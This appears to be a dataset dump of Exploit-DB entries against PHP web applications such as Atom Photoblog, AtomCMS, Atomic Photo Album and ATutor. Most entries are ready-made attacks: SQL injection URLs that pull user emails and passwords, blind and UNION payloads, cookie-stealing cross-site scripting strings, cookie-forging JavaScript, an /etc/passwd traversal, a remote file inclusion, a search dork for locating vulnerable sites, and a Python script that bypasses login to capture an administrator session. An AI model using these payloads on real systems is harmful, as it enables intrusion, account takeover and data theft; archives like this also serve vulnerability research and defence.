deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6125
Description: Atom Photoblog 1.1.5b1 - 'photoId' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-24
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## Atom PhotoBlog ( atomPhotoBlog.php do )
##                            
## http://sourceforge.net/projects/atomphotoblog/                           
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.AtsDp.CoM/f
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
## www.Target.com/atomPhotoBlog.php?do=show&photoId=969696+union+select+0,0,0,0,0,0,0,0,0,0,0,mail,pass,0+from+user
##
########################
########################

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-24]
Exploit-DB #39238
Description: AtomCMS - SQL Injection / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-07-07
Author: Jagriti Sahu

Exploit:
source: https://www.securityfocus.com/bid/68437/info

AtomCMS is prone to an SQL-injection vulnerability and an arbitrary file-upload vulnerability.

Exploiting these issues could allow an attacker to upload arbitrary files, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/acms/admin/uploads.php?id=1
Exploit-DB #50727
Description: AtomCMS v2.0 - SQLi
Type: webapps
Platform: php
Date: 2022-02-09
Author: Luca Cuzzolin

Exploit:
# Exploit Title: AtomCMS v2.0 - SQLi
# Date: 08/02/2022
# Exploit Author: Luca Cuzzolin aka czz78
# Vendor Homepage: https://github.com/thedigicraft/Atom.CMS
# Version: v2.0
# Category: Webapps
# Tested on: Debian linux
# CVE : CVE-2022-24223


====================================================

# PoC : SQLi :

http://127.0.0.1/Atom.CMS/admin/login.php


POST /Atom.CMS/admin/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/Atom.CMS/admin/login.php
Cookie: PHPSESSID=tqfebdu4kn9qj7g6qpa91j9859
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
email=test%40test.com&password=1234


Vulnerable Payload :

Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=test@test.com' AND (SELECT 5613 FROM
(SELECT(SLEEP(5)))JnLZ) AND 'pROE'='pROE&password=1234
    Vector: AND (SELECT [RANDNUM] FROM
(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: email=test@test.com' UNION ALL SELECT
NULL,CONCAT(0x717a767a71,0x65557a784e446152424b63724b5a737062464a4267746c70794d5976484c484a[PII_REDACTED]734975,0x71627a7871),NULL,NULL,NULL,NULL--
-&password=1234
    Vector:  UNION ALL SELECT NULL,[QUERY],NULL,NULL,NULL,NULL-- -
---



====================================================
Exploit-DB #26023
Description: Atomic Photo Album 0.x/1.0 - 'Apa_PHPInclude.INC.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-07-25
Author: lwdz

Exploit:
source: https://www.securityfocus.com/bid/14368/info

Atomic Photo Album is susceptible to a remote PHP file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may exploit this issue to execute arbitrary PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/apa_phpinclude.inc.php?apa_module_basedir=http://www.example.com/
Exploit-DB #14801
Description: Atomic Photo Album 1.0.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-08-26
Author: sh00t0ut

Exploit:
[~] Atomic Photo Album 1.0.2 (SQL/XSS) Multiple Remote Vulnerabilities
[~] http://www.exploit-db.com/exploits/6572/
[~] Found by sh00t0ut
[~] Down: http://www.c-point.com/free_php_scripts/photo_album.php
[~] Expl SQL: 
    http://[victim]/photo.php?apa_album_ID=2&apa_photo_ID=-9999 union all select 1,concat(0x3a,nickname,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from apa_users--
[~] Expl XSS: 
    http://[victim]/photo.php?apa_album_ID=2&apa_photo_ID=<script>alert(1)</script>

[~] Dork: "Powered by Atomic Photo Album" inurl:"photo.php?apa_album_ID="
Exploit-DB #6572
Description: Atomic Photo Album 1.1.0pre4 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-09-25
Author: d3v1l

Exploit:
[~]-----------------------------------------------------------------------
[~] Atomic Photo Album 1.1.0pre4 [album.php] - Multiple Remote Vulnerabilities
[~]
[~] http://atomicpa.sourceforge.net
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 25.09.2008
[~]
[~]
[~] d3v1l@spoofer.com
[~]
[~] -----------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] Pentest| Gibon| Pig       AND      milw0rm staff
[~]-------------------------------------------------------------
[~] Exploit :- SQL Injection
[~]
[~] http://site.com/album.php?apa_album_ID=1 UNION SELECT concat_ws(0x3a,version(),database(),user())/*
[~]
[~] Demo :-
[~]
[~] http://www.site.com/new/fotos/album.php?apa_album_ID=1 UNION SELECT concat_ws(0x3a,version(),database(),user())/*
[~]
[~]---------------------------------------------------------------------------------------------------------------------------
[~]
[~] Exploit :- XSS (cross site scripting)
[~]
[~] http://site.com/album.php?apa_album_ID=>'><script>alert(1337)</script>.
[~]
[~] Demo :-
[~]
[~] http://www.site.com/new/fotos/album.php?apa_album_ID=>'><script>alert(1337)</script>.
[~]
[~]----------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-09-25]
Exploit-DB #6580
Description: Atomic Photo Album 1.1.0pre4 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-09-26
Author: Stack

Exploit:
###############################################################################################
[+] Atomic Photo Album 1.1.0pre4 Insecure Cookie Handling Vulnerability
[+] Discovered By Stack              
[+] Greetz : All my freind             
################################################################################################
javascript:document.cookie = "apa_cookie_login=foo; path=/;";
javascript:document.cookie = "apa_cookie_password=bar; path=/;";

# milw0rm.com [2008-09-26]
Exploit-DB #22941
Description: atomicboard 0.6.2 - Directory Traversal
Type: webapps
Platform: php
Date: 2003-07-21
Author: gr00vy

Exploit:
source: https://www.securityfocus.com/bid/8236/info

It has been reported that attackers may be able to modify the 'location' variable passed to the index.php file to cause the Web server to return arbitrary files. This script is prone to a directory traversal vulnerability, allowing attackers to retrieve any file residing on the filesystem readable by the Web server user.

http://www.example.com/atomicboard/index.php?location=../../../../../../etc/passwd

http://www.example.com/AtomicBoard-0.6.2/index.php?location=anything
Exploit-DB #32114
Description: AtomPhotoBlog 1.15 - 'atomPhotoBlog.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-24
Author: Mr.SQL

Exploit:
source: https://www.securityfocus.com/bid/30360/info

AtomPhotoBlog is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

AtomPhotoBlog 1.15b1 is vulnerable; other versions may also be affected.

http://www.example.com/atomPhotoBlog.php?do=show&photoId=969696+union+select+0,0,0,0,0,0,0,0,0,0,0,mail,pass,0+from+user
Exploit-DB #38607
Description: Atomy Maxsite - 'index.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-06-30
Author: Iranian_Dark_Coders_Team

Exploit:
source: https://www.securityfocus.com/bid/60859/info

Atomy Maxsite is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this issue to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Atomy Maxsite versions 1.50 through 2.5 are vulnerable. 

http://www.example.com/[path]/index.php?name=research&file=add&op=research_add
Exploit-DB #23207
Description: Atrise Everyfind 5.0.2 - search Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-10-01
Author: Ezhilan

Exploit:
source: https://www.securityfocus.com/bid/8740/info

It has been reported that Atrise Everyfind is prone to a cross-site scripting vulnerability due to insufficient sanitization of user-supplied input. The problem exists in the search module of the software. This issue may allow a remote attacker to execute HTML or script code in user's browser.

Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials. Other attacks may well be possible.

Atrise Everyfind 5.02 has been listed as a vulnerable package, however other versions may be affected as well. 

http://www.example.com/search.html?cat=0&keys=<script>alert("hello")</script><script>alert.document.cookie)</script>
Exploit-DB #51271
Description: atrocore 1.5.25 User interaction - Unauthenticated File upload - RCE
Type: webapps
Platform: php
Date: 2023-04-06
Author: nu11secur1ty

Exploit:
## Exploit Title: atrocore 1.5.25 User interaction - Unauthenticated File upload - RCE
## Author: nu11secur1ty
## Date: 02.16.2023
## Vendor: https://atropim.com/
## Software: https://github.com/atrocore/atrocore/releases/tag/1.5.25
## Reference: https://portswigger.net/web-security/file-upload

## Description:
The `Create Import Feed` option with `glyphicon-glyphicon-paperclip`
function appears to be vulnerable to User interaction -
Unauthenticated File upload - RCE attacks.
The attacker can easily upload a malicious then can execute the file
and can get VERY sensitive information about the configuration of this
system, after this he can perform a very nasty attack.


STATUS: HIGH Vulnerability CRITICAL

[+]Payload:

```PHP
<?php
	phpinfo();
?>
```


## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/atrocore/atrocore-1.5.25)

## Reference:
[href](https://portswigger.net/web-security/file-upload)

## Proof and Exploit:
[href](https://streamable.com/g8998d)

## Time spend:
00:45:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #50802
Description: Attendance and Payroll System v1.0 - SQLi Authentication Bypass
Type: webapps
Platform: php
Date: 2022-03-07
Author: pr0z

Exploit:
# Exploit Title: Attendance and Payroll System v1.0 - SQLi Authentication Bypass
# Date: 04/03/2022
# Exploit Author: pr0z
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/apsystem.zip
# Version: v1.0
# Tested on: Linux, MySQL, Apache

import requests
import sys
from requests.exceptions import ConnectionError


print('\n    >> Attendance and Payroll System v1.0')
print('    >> Authentication Bypass through SQL injection')
print('    >> By pr0z\n')

login_path = '/apsystem/admin/login.php'
index_path = '/apsystem/admin/index.php'

payload = "username=nobodyhavethisusername' UNION SELECT 1 as id, 'myuser' as username, '$2y$10$UNm8zqwv6d07rp3zr6iGD.GXNqo/P4qB7fUZB79M3vmpQ6SidGi.G' as password ,'zzz' as firstname,'zzz' as lastname,'zzz.php' as photo, '2018-04-30' as created_on -- &[CREDENTIAL_REDACTED]="
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
#proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}


# Check for arguments
if len(sys.argv) < 2 or '-h' in sys.argv:
    print("[!] Usage: python3 apsystem_sqli.py http://127.0.0.1")
    sys.exit()

# Bypass Authentication
target = sys.argv[1]
print("[+] Extracting Administrator cookie using SQLi ...")
sess = requests.Session()
try:
    sess.get(target + index_path,headers=headers, verify=False)
    sess.post(target + login_path, data=payload, headers=headers,verify=False)
except ConnectionError:
    print('[-] We were unable to establish a connection')
    sys.exit()

cookie_val = sess.cookies.get_dict().get("PHPSESSID")

print("[+] Use the following cookie:\n")
print(f"PHPSESSID: {cookie_val}")
Exploit-DB #23064
Description: Attila PHP 3.0 - SQL Injection Unauthorized Privileged Access
Type: webapps
Platform: php
Date: 2003-08-26
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/8502/info

An SQL injection vulnerability has been reported in Attila PHP that could allow an attacker to gain unauthorized privileged access to a target site. This could be accomplished by requesting a URI including parameters designed to influence the results of specific user verification checks. Privileged access to a site implementing Attila PHP could allow an attacker to gain sensitive information or launch other attacks. 

Set the URI parameter "cook_id" to the value "0 OR visiteur=1" in a request to
http://www.example.org/index.php3
Exploit-DB #34631
Description: ATutor 1.0 - Multiple 'cid' Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-09-15
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/43241/info

ATutor is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ATutor 1.0 is vulnerable, other versions may also be affected. 

http://www.example.com/mods/_core/editor/delete_content.php?cid=PAGE_ID"><script>alert(document.cookie)</script>

http://www.example.com/mods/_core/editor/edit_content_folder.php?cid=PAGE_ID"><script>alert(document.cookie)</script>
Exploit-DB #25831
Description: ATutor 1.4.3 - '/inbox/index.php?view' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-06-16
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13972/info
     
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ATutor/inbox/index.php?view=1[XSS-CODE]
Exploit-DB #25826
Description: ATutor 1.4.3 - 'browse.php?show_course' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-06-16
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13972/info

ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ATutor/browse.php?cat=0&show_course=1[XSS-CODE]
Exploit-DB #25827
Description: ATutor 1.4.3 - 'contact.php?subject' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-06-16
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13972/info
 
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ATutor/contact.php?subject=[XSS-CODE]
Exploit-DB #25828
Description: ATutor 1.4.3 - 'content.php?cid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-06-16
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13972/info
  
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/atutor/content.php?cid=323[XSS-CODE]
Exploit-DB #25834
Description: ATutor 1.4.3 - 'Directory.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-06-16
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13972/info
        
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
        
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ATutor/directory.php?roles%5B%5D=[XSS-CODE]1&roles%5B%5D=2&roles%5B%5D=3&status=1&submit=Filter
http://www.example.com/ATutor/directory.php?roles%5B%5D=1&roles%5B%5D=[XSS-CODE]2&roles%5B%5D=3&status=1&submit=Filter
http://www.example.com/ATutor/directory.php?roles%5B%5D=1&roles%5B%5D=2&roles%5B%5D=3[XSS-CODE]&status=1&submit=Filter
http://www.example.com/ATutor/directory.php?roles%5B%5D=1&roles%5B%5D=2&roles%5B%5D=3&status=1[XSS-CODE]&submit=Filter
http://www.example.com/ATutor/directory.php?roles%5B%5D=1&roles%5B%5D=2&roles%5B%5D=3&status=1&submit=Filter[XSS-CODE]
http://www.example.com/ATutor/directory.php?roles%5B%5D=1&status=2&reset_filter=Reset+Filter[XSS-CODE]
http://www.example.com/ATutor/directory.php?roles[]=1[XSS-CODE]
Exploit-DB #25830
Description: ATutor 1.4.3 - 'search.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-06-16
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13972/info
    
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/atutor/search.php?search=10[XSS-CODE]&words=kk&include=all&find_in=this&display_as=pages&search=Search
http://www.example.com/ATutor/search.php?search=1&words=aa[XSS-CODE]&include=one&find_in=all&display_as=summaries&search=Search#search_results
http://www.example.com/ATutor/search.php?search=1&words=aa&include=one[XSS-CODE]&find_in=all&display_as=summaries&search=Search#search_results
http://www.example.com/ATutor/search.php?search=1&words=aa&include=one&find_in=all[XSS-CODE]&display_as=summaries&search=Search#search_results
http://www.example.com/ATutor/search.php?search=1&words=aa&include=one&find_in=all&display_as=[XSS-CODE]summaries&search=Search#search_results
http://www.example.com/ATutor/search.php?search=1&words=aa&include=one&find_in=all&display_as=summaries&search=[XSS-CODE]Search#search_results
Exploit-DB #25829
Description: ATutor 1.4.3 - 'send_message.php?l' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-06-16
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13972/info
   
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/atutor/inbox/send_message.php?l=1[XSS-CODE]
Exploit-DB #25833
Description: ATutor 1.4.3 - 'subscribe_forum.php?us' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-06-16
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13972/info
       
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
       
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ATutor/forum/subscribe_forum.php?fid=2&us=1[XSS-CODE]
Exploit-DB #25832
Description: ATutor 1.4.3 - 'tile.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-06-16
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13972/info
      
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
      
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ATutor/tile.php?query=yy&field=technicalFormat&submit=Search[XSS-CODE]
http://www.example.com/ATutor/tile.php?query=[XSS-CODE]&field=technicalFormat&submit=Search
http://www.example.com/ATutor/tile.php?query=yy&field=technicalFormat[XSS-CODE]&submit=Search